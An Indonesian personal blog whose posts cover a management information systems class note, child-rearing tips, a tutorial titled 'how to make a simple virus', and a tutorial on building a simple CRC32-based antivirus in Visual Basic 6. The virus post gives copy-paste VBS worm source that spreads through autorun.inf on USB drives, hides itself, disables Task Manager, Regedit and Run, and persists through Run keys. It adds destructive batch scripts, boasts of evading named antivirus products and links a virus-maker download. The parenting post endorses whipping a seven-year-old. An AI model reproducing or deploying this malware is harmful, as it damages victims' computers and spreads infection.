Selasa, 05 Oktober 2010

tugas

tugas sistem informasi manajemen1#
Pengertian

Sistem Informasi Manajemen merupakan sistem informasi yang menghasilkan hasil keluaran (output) dengan menggunakan masukan (input) dan berbagai proses yang diperlukan untuk memenuhi tujuan tertentu dalam suatu kegiatan manajemen.

Tujuan Sistem

Setiap sistem memiliki tujuan (goal)
Tujuan berfungsi sebagai pengarah sistem
Tiga tujuan utama SI (Hall, 2000):
-untuk mendukung fungsi kepengurusan manajemen,
-untuk mendukung pengambilan keputusan manajemen,
-untuk mendukung kegiatan operasi perusahaan

Tujuan Sistem (Lanjutan…)

Secara lebih spesifik, tujuan sistem informasi bergantung pada kegiatan yang ditangani
-Bank
-Pasar Swalayan
-Toko Buku Online

Input

segala sesuatu yang masuk ke dalam sistem dan selanjutnya menjadi bahan untuk diproses.Masukan dapat berupa hal-hal berwujud (tampak secara fisik) maupun yang tidak tampak. Contoh masukan yang berwujud adalah bahan mentah, sedangkan contoh yang tidak berwujud adalah informasi (misalnya permintaan jasa dari pelanggan).Pada sistem informasi, masukan dapat berupa data transaksi, dan data non-transaksi (misalnya surat pemberitahuan).

Output

mengukur volume kegiatan produksi saat persediaan diubah dari bahan mentah menjadi barang dalam proses dan akhirnya menjadi barang jadi.



Proses

Bagian yang melakukan perubahan atau transformasi dari masukan menjadi keluaran
Pada sistem informasi, proses dapat berupa suatu tindakan seperti:
-Meringkas data,
-Melakukan perhitungan,
-Mengurutkan data,dll
Merupakan hasil dari pemrosesan
Pada sistem informasi, keluaran bisa berupa suatu informasi, saran, cetakan laporan, dan sebagainya.

Mekanisme Pengendalian dan Umpan Balik

Mekanisme pengendalian (control mechanism) diwujudkan dengan menggunakan umpan balik (feedback), yang mencuplik keluaran.

Mekanisme Pengendalian dan Umpan Balik
(Lanjutan)

Tujuan umpan balik adalah untuk mengatur agar sistem berjalan sesuai dengan tujuan
Pada sistem informasi, umpan balik dapat diperoleh dari setiap pemakai
-Program yang salah diperbaiki
-Program disesuaikan dengan keluaran yang dikehendaki

Lingkungan

Segala sesuatu yang berada di luar sistem
Contoh:
-vendor,
-pelanggan,
-pemilik,
-pemerintah,
-bank, dan
-pesaing

Rabu, 09 Juni 2010

cara mendidik anak

Tips-Tips Mendidik Anak Sejak Dini
Dari hasil pengamatan,wawancara dengan rekan kerja dan berdasarkan pengalaman sendiri,bahwa orang tua sangat besar peranya dalam mendidik anak, terutama pada anak-anak sejak kecil. Mendidik anak sejak dini sangat menentukan bagaimana perkembangan kedewasaan anak. Sebagai orang tua apapun tingkah lakunya akan dilihat oleh anak dan dijadikan contoh perilaku anak,baik yang baik maupun yang buruk sekalipun. Karena pada dasarnya anak berumur dibawah lima tahun rasa ingin tahu dan belajarnya sangat tinggi. Daya ingat bagi anak dibawah lima tahun sangat tajam dan sebagai orang tua sudah layaknya memberikan cotoh dalam kehidupan sehari-hari pada kegiatan-kegiatan yang positif. Sebagai contoh bila orang tua suka membaca, atau suka menulis atau suka berolah raga atau suka menonton film-film barat dan sebagainya,si anakpun cenderung akan mencontohnya. Karena itu berbanggalah orang tua bila bisa melakukan kegiatan-kegiatan positif seperti tersebut diatas sebagai contoh, nantinya akan menanamkan jiwa pada diri anak untuk suka menulis,menggambar,membaca dan lain-lain.

Berikut ini adalah beberapa tips mendidik anak sejak usia dini:
1.Berikan contoh dengan mengajaknya ikut serta pada kegiatan sehari-hari yang positif.
-Membersih ruangan rumah,Biasanya anak-anak yang suka bermain-main dengan mainanya akan membuat situasi berantakan di ruangan rumah, ajarkan pada anak untuk bisa membersihkan dan merapikan sendiri setelah selesai bermain.
-Membaca buku-buku bacaan. Buku-buku bacaan sebagai altenatif guru yang baik. Buku sebagai sumber ilmu yang tiada batas,banyak jenis buku yang bisa dibaca dan mebahas berbagai tema dan masalah.
-Membaca Majalah atau Koran,dengan membaca koran dan majalah akan menambah wawasan pada orang tua sehingga bisa mempunyai wawasan yang lebih luas dan bisa diajarkan.
-Membaca Kitab Suci.Dengan mendengarkan acaan kitab suci biasanya sianak akan memiliki spiritual yang lebih baik bila dewasa kelak.
-Menulis,Anak akan memperhatikan bila orang tua sedang menulis dan akan menirunya dengan coret-coret, biasanya didinding namun sebaiknya dibuku-buku yang telah disediakan orang tua,sehingga termasuk juga mengajarkan keapian dan kebersihan.
-Bagi keluarga yang punya halaman berumput, biasanya setiap bulan sekali rumput akan jadi panjang dan tidak beraturan, maka anak bisa diajari juga bagaimana merapikan halaman.
-Mencuci kendaraan,baik motor maupun mobil bila tidak terlalu kotor bisa dicuci sendiri dirumah, sekaligus mengajarkan anak bagaimana memperlakukan kendaraan.
-Mengajak kebengkel, biasanya anak akan senang bila diajak ikut serta kebengkel,dan biasanya akan menambah ide bagi si anak untuk lebih mengenal jenis kendaraan bermotor,bisa juga nanti menjadi idola sianak untuk berwiraswasta dengan membuka bengkel dan lain-lain.

2.Berikan contoh untuk mentaati waktu, Yaitu waktu bermain, waktu belajar dan waktu tidur. Biasanya anak dibawah lima tahun memerlukan waktu tidur lebih banyak dibandingkan dengan orang dewasa.Sehingga sebagai orang tua terutama Ibu harus bisa mengajarkan waktu-waktu kapan harus bermain dan kapan harus beristirahat. Hal ini dilakukan untuk kesehatan anak itu sendiri.

3.Menghindarkan anak-anak dari hal-hal yang bersifat buruk:
-Bertengkar didepan anak-anak, karena dengan bertengkar didepan anak-anak secara otomatis akan memberikan contoh kekerasan dalam keluarga didepan anak, sehingga bisa menimbulkan trauma psikis pada si anak itu sendiri.
-Membiarkan anak tidak disiplin, kadang didikan keras bisa membuat disiplin pada sianak,dengan dimanja anak tidak bisa mandii dan bertanggung jawab.
-Memukul anak secara langsung didepan anak-anak yang lain, akan mengakibatkan hilangnya rasa kepercayaan diri si anak.
-Bila Ayah sedang keras pada anak, dalam arti tujuan mendidik si ibu tidak boleh membela si anak, sebab bila dibela si anak tidak akan jera bila melakukan kesalahan. Sebaliknya bila Si Ibu sedang keras pada anak dalam arti mendidik,Sang ayah pun tidak boleh membela kesalahan pada anak,. Sehingga terjalin kerjasama mendidik anak yang baik dan seimbang.
-Jangan berikan tontonan baik berupa film-film kekerasan atau Sinotron drama yang bersifat cengeng dan mendramatisi, untuk menghindari anak dari sifat-sifat yang kurang baik dari dampak yang ditontonya.
4. Sisakan waktu bersama Anak-anak. Ditengah-tengah kesibukan sebagai orang tuan sisakan waktu untuk bermain bersama anak-anak,sehingga timbul rasa kasih sayang sekaligus pembelajaran pada anak.
5. Usia 7 tahun, bagi yang Moslem bila sampai belum Sholat ajarkan dengan sedikit keras, bisa dengan cambukan untuk mengingatkan anak agar segera sembahyang.
6. Diatas usia 7 tahun Anak akan bisa diberikan tangung jawab yang lebih,sehingga tidak terlalu merepotkan orang tua.

Semoga berhasil
Good Luck!

*Agust Nasihin,Penulis aktif di blog dan http://id.shvoong.com/aff-5398E/ ,Meresensi buku gratis dan pemasangan review produk atau iklan di blog,bersama artikel-artikel lainya, Anda bisa bergabung di http://id.shvoong.com/aff-5398E/atau berkunjung di http://goeswriting.wordpress.com

cara membuat virus sederhana

karena di Windows sudah ada compiler yang
terintegrasi dengannya, Windows Based Script Host.
sesua janji saya, kita akan membuat virus yang sederhana
menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc
dengan AutoRun sehingga komputer lain yang tercolok flash disc atau CD
terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan
infector-nya.
Buka notepad, Lalu Copy Paste Code Script di Bawah ini Yaw…. dan simpan dengan
ekstensi bat (klo yang disuruh bat) atau ekstensi vbs (Klo yang disuruh vbs),
misalnya virus.bat/virus.vbs

PEMBUATAN VIRUS DENGAN EKSTENSI .VBS
======================================================================================
‘//-Bosgentongs
ITS-//
‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//
‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//
on error resume next
‘//-Dim kata-kata berikut ini-//
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
‘//-Set sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe bosgentongs.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di Windows Path
(example: C:\Windows)-//

Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc tercolok-//

‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A:” then
‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\-//

set tf=fs.getfile(flashdrive.path &”\bosgentongs.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Manipulasi Registry-//
set rg = createobject(”WScript.Shell”)
‘//-Manip – Ubah Title Internet Explorer menjadi
BOSGENTONGS v.s. ANTIVIRUS-//

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” THE BOSGENTONGS v.s. ANTIVIRUS “
‘//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”
‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.
rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI

‘//-Manip – Aktif setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
winpath & “\batch- bosgentongs.exe.vbs “
‘//-Manip – Ubah RegisteredOwner dan Organization-//
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “The Bosgentongs”
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”bosgentongs”
‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\bosgentongs.exe.vbs”
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”
‘//-Manip – Me-Log off komputer setelah log on BOLEH
DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”
‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//

if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2009
WScript.sleep 20000
‘//-Memunculkan pesan window terus menerus-//
msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _
kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf &
_
“jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente
sudah masuk dalam permainanku
” & vbcrlf & _
ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _
vbcrlf & vbcrlf & _
elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _
saatnya kini aku bangkit dalam mimpi ituk
‘//-Mengulang kode script-//
loop
‘//Akhir dari Kode & simpan dengan nama
bosgentongs.exe.vbs-//

==========================================================================================
PEMBUATAN VIRUS DENGAN EKSTENSI .BAT
==========================================================================================
cd C:\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN
\Makan
cd C:\Windows\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN
\Makan
cd C:\Windows\System32\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN
\Makan
cd D:\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN
\Makan
@echo off
copy bosgentongsvirus.bmp %systemdrive%\ /y
copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\ /y
copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\system32\ /y
copy bosgentongsvirus.exe %systemdrive%\ /y
copy bosgentongsvirus.exe %systemdrive%\WINDOWS\ /y
copy bosgentongsvirus.exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM
BOSGENTONGS” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v
bosgentongsvirus /d %systemdrive%\windows\system32\bosgentongsvirus.exe /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_CURRENT_USER\Control Panel\Colors” /v window /d #C10000 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bmp /f
:bgvirus
echo>>Albert.reg
echo>>Anak.chm
echo>>Ideal.dll
echo>>Sekali.htt
cls
goto bgvirus
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo ——————————————————-
echo ============= BOSGENTONGS love HACKER ==============
echo ============= bosgentongs inc. Team ==============
echo ============= Kediri, 16 Juli 2009 ==============
echo ——————————————————-
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo …
echo AWAS JANGAN PENCET TOMBOL APAPUN!
echo Atau memori anda akan penuh
echo …
echo Mendeteksi apabila tombol keyboard dipencet …….
Pause>null
:bgvirus
echo>>Albert.reg
echo>>Anak.chm
echo>>Ideal.dll
echo>>Sekali.htt
echo>>Yes.txt
cls
goto bgvirus
‘//-Simpan dengan ekstensi *.bat-//

=========================================================================================
Atau Virus Bat yang ini….
=========================================================================================
@echo off
C:
cls
Echo Do you want to kill all program’s? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data….
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
Echo Deleting All Data….
ping localhost -n 2 >nul
cls
Echo System Error
Echo System can’t open windows Folder
Echo Warning! Sistem shutting down
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 25 -c “This is a virus. You have been
Hakced By Bosgentongs. Thank you for your attention

:hack
echo You have just been hacked
goto hack
‘//- simpan dengan ekstensi*.bat-//
==========================================================================================
KETERANGAN
Warna Merah artinya
Tidak Usah Ditulis Karena hanya Sebagai Petunjuk Saja
Warna Biru Artinya
Tulisan ini Bisa Diganti Degan Tulisan Sembarang Terserah Kamu
Anda dapat berimprovisasi dengan menambahkan sebuah file autorun.inf file
untuk
menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah
drive. Untuk membuat auturun buka notepad copy-paste code di bawah dan simpan
dengan file name: Autorun.inf dengan save as type: All files Saya
Beri kode autorun.inf Bila Belum Tau: NB: Warna biru
adalah nama file virus+ekstensinya yang kamu buat tadi
======================================================================
[Autorun]
UseAutoplay=1
Icon=%SystemRoot%\system32\SHELL32.dll,7
Shellexecute=wscript.exe bosgentongs.exe.vbs
Shell\OPEN\COMMAND=wscript.exe bosgentongs.exe.vbs
Shell\explore\COMMAND=wscript.exe bosgentongs.exe.vbs
Action=Open folder to view files
=====================================================================
NB: file-file tersebut harus dalam 1 direktori, lalu seleksi
file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY.
Copy file-file tersebut ke CD atau FlashDisk dalam Folder Utama Yaw
Truz Nikmatin Dech Efeknya….
Virus Worm ini memang bukan murni dari pemikiran saya sendiri
karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak
terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu
kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad
(dari Windows Original) juga bisa.
Kalau ini masih dirasa sulit buat teman-teman ada satu lagi
cara yaitu dengan virus maker hanya dengan memberikan tanda chek kemudian klik
ok,sudah jadi, bisa didownload disini:

http://rs126.rapidshare.com/files/96994198/TeraBIT_VM_2_1.8.zip

Penulis tidak bertanggung jawab atas segala
kerusakan yang ditimbulkan, penulis hanya membuat artikel ini bertujuan untuk
pengetahuan, wawasan dan pendidikan saja.

cara membuat anti virus sederhana

Cara Kerja AV(Antivirus) sederhana..

1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.

Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :

* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)

Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)

First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long ‘crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan

If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320

For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function

Private Sub Class_Initialize()
BuildTable
End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca

Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub

erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.

Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file

Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub

erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

DevilG
12-18-2008, 07:24 PM
Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.

Kesimpulan#
